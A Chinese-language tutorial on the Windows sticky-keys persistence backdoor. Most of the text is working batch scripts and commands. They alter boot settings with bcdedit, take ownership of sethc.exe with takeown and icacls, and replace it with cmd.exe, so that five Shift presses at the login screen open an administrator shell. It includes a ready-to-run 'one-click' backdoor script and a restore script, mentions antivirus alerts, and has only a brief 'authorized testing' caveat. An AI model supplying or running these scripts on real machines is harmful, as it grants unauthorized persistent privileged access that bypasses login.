后门制作原理
sethc.exe是Windows系统核心文件(路径:C:\Windows\System32\sethc.exe),默认绑定 “连续按5次Shift” 触发;管理员权限下夺取
sethc.exe所有权、修改权限,将其替换为cmd.exe(系统命令提示符程序);替换后,登录界面按
5次Shift键不再调出粘滞键设置,而是直接打开管理员权限 CMD,实现权限维持。
后门制作步骤包含高版本 Windows
前提条件
登录
Windows系统的账户必须属于Administrators(管理员组);需以「管理员身份」运行
CMD(突破UAC权限过滤)。或者通过系统漏洞提权到
Administratorssystem。
高版本 Windows 关键适配说明(Win7/Win10/Win11)
普通管理员账户打开的 CMD 默认为「受限管理员权限」,修改 system32 核心文件会触发两层拦截,需注意:
UAC 权限过滤:必须右键
CMD选择「以管理员身份运行」(标题栏显示「管理员」),否则会提示 “拒绝访问”;系统文件保护(SFC):Windows 会保护
sethc.exe等核心文件,脚本中通过bcdedit临时禁用 SFC(重启后自动恢复),避免替换被拦截;权限强化:通过
icacls命令强制赋予当前用户sethc.exe完全控制权限(比cacls更适配高版本系统)。
开启sethc 后门
:: 1. 切换到 system32 目录
cd /d C:\Windows\System32
:: 2.临时禁用系统文件保护SFC避免替换文件被拦截
bcdedit /set {current} recoveryenabled no
bcdedit /set {current} bootstatuspolicy ignoreallfailures
:: 3.夺取文件所有权授予管理员组
takeown /F C:\windows\system32\sethc.exe /A
takeown /F C:\windows\system32\cmd.exe /A
:: 4.强制赋予当前用户完全控制权限
icacls C:\Windows\System32\sethc.exe /grant %username%:F /c /t
cacls C:\Windows\System32\cmd.exe /E /G administrators:F
:: 5.备份原始粘滞键程序避免覆盖后无法恢复
move sethc.exe sethc.exe.bak
:: 6.备份原始粘滞键程序避免覆盖后无法恢复
copy cmd.exe sethc.exe /Y删除sethc 后门
:: 1. 恢复系统文件保护(SFC)
bcdedit /set {current} recoveryenabled yes
bcdedit /set {current} bootstatuspolicy displayallfailures
:: win7恢复
bcdedit /set {current} bootstatuspolicy standard
bcdedit /set {current} bootstatuspolicy default
:: 2. 删除替换后的后门程序
del sethc.exe /F /Q
:: 3. 恢复原始粘滞键程序
ren sethc.exe.bak sethc.exe
:: 4. 重置文件权限(还原默认状态)
icacls C:\Windows\System32\sethc.exe /reset /c /t一键权限维持脚本(360 会弹窗)
将以下代码保存为 sethc_backdoor.bat,右键选择「以管理员身份运行」(关键!普通运行会触发权限拦截):
@echo off
echo ========================================
echo 开始制作粘滞键后门(仅授权测试使用)
echo ========================================
:: 1. 切换到 system32 目录(核心文件所在路径)
cd /d C:\Windows\System32
if %errorlevel% neq 0 (
echo 错误:无法切换到 system32 目录,请确认路径或权限!
pause
exit /b 1
)
:: 2. 临时禁用系统文件保护(SFC),避免拦截核心文件修改(重启后自动恢复)
echo 步骤1:临时禁用系统文件保护(SFC)...
bcdedit /set {current} recoveryenabled no >nul 2>&1
bcdedit /set {current} bootstatuspolicy ignoreallfailures >nul 2>&1
:: 3. 夺取 sethc.exe、cmd.exe 所有权(授予管理员组)
echo 步骤2:夺取文件所有权...
takeown /F C:\windows\system32\sethc.exe /A >nul 2>&1
takeown /F C:\windows\system32\cmd.exe /A >nul 2>&1
:: 4. 强制赋予当前用户 sethc.exe 完全控制权限(突破权限限制)
echo 步骤3:设置文件权限...
icacls C:\Windows\System32\sethc.exe /grant %username%:F /c /t >nul 2>&1
cacls C:\Windows\System32\cmd.exe /E /G administrators:F >nul 2>&1
:: 5. 备份原粘滞键程序,避免覆盖后无法恢复
echo 步骤4:备份原始 sethc.exe...
move sethc.exe sethc.exe.bak >nul 2>&1
if %errorlevel% equ 0 (
echo 备份成功:sethc.exe → sethc.exe.bak
) else (
echo 警告:备份失败(可能已存在备份文件),继续执行替换...
)
:: 6. 核心步骤:将 cmd.exe 复制为 sethc.exe,替换粘滞键程序
echo 步骤5:替换粘滞键程序为 cmd.exe...
copy cmd.exe sethc.exe /Y >nul 2>&1
if %errorlevel% equ 0 (
echo ========================================
echo 粘滞键后门制作成功!
echo 验证方法:锁定系统(Win+L),登录界面连续按5次Shift键,会调出管理员CMD
echo ========================================
) else (
echo 错误:替换失败!请确认:
echo 1. 脚本以「管理员身份」运行;
echo 2. 系统未开启第三方防护软件拦截;
pause
exit /b 1
)
pause
exit /b 0一键恢复脚本(360 会弹窗)
将以下代码保存为 sethc_restore.bat,右键选择「以管理员身份运行」:
@echo off
echo ========================================
echo 开始恢复系统默认粘滞键设置(含所有权还原)
echo ========================================
:: 1. 切换到 system32 目录
cd /d C:\Windows\System32
if %errorlevel% neq 0 (
echo 错误:无法切换到 system32 目录!
pause
exit /b 1
)
:: 2. 恢复系统文件保护(SFC)
echo 步骤1:恢复系统文件保护...
bcdedit /set {current} recoveryenabled yes >nul 2>&1
bcdedit /set {current} bootstatuspolicy standard >nul 2>&1
bcdedit /set {current} bootstatuspolicy displayallfailures >nul 2>&1
bcdedit /set {current} bootstatuspolicy default >nul 2>&1
:: 3. 删除后门程序
echo 步骤2:删除后门程序...
del sethc.exe /F /Q >nul 2>&1
:: 4. 恢复原始粘滞键程序
echo 步骤3:恢复原始 sethc.exe...
ren sethc.exe.bak sethc.exe >nul 2>&1
if %errorlevel% equ 0 (
echo 原始粘滞键程序恢复成功!
) else (
echo 警告:未找到备份文件(sethc.exe.bak),可能已手动删除!
)
:: 5. 重置文件权限 + 恢复原始所有权(关键:覆盖 takeown 操作)
echo 步骤4:还原文件默认权限和所有权...
icacls C:\Windows\System32\sethc.exe /reset /c /t >nul 2>&1
icacls C:\Windows\System32\sethc.exe /setowner "NT SERVICE\TrustedInstaller" /c /t >nul 2>&1
icacls C:\Windows\System32\cmd.exe /reset /c /t >nul 2>&1
echo ========================================
echo 系统恢复完成!
echo ========================================
pause
exit /b 0验证方法
后门生效验证
按下
Win+L锁定系统,进入登录界面;连续按
5次Shift键,若调出黑色CMD窗口(而非粘滞键设置),说明后门制作成功;CMD窗口默认是管理员权限,可执行whoami验证权限(显示administrator或管理员组账户)。

恢复成功验证
执行恢复脚本后,锁定系统并连续按
5次Shift键;若弹出「粘滞键设置」窗口(而非
CMD),说明系统恢复正常。
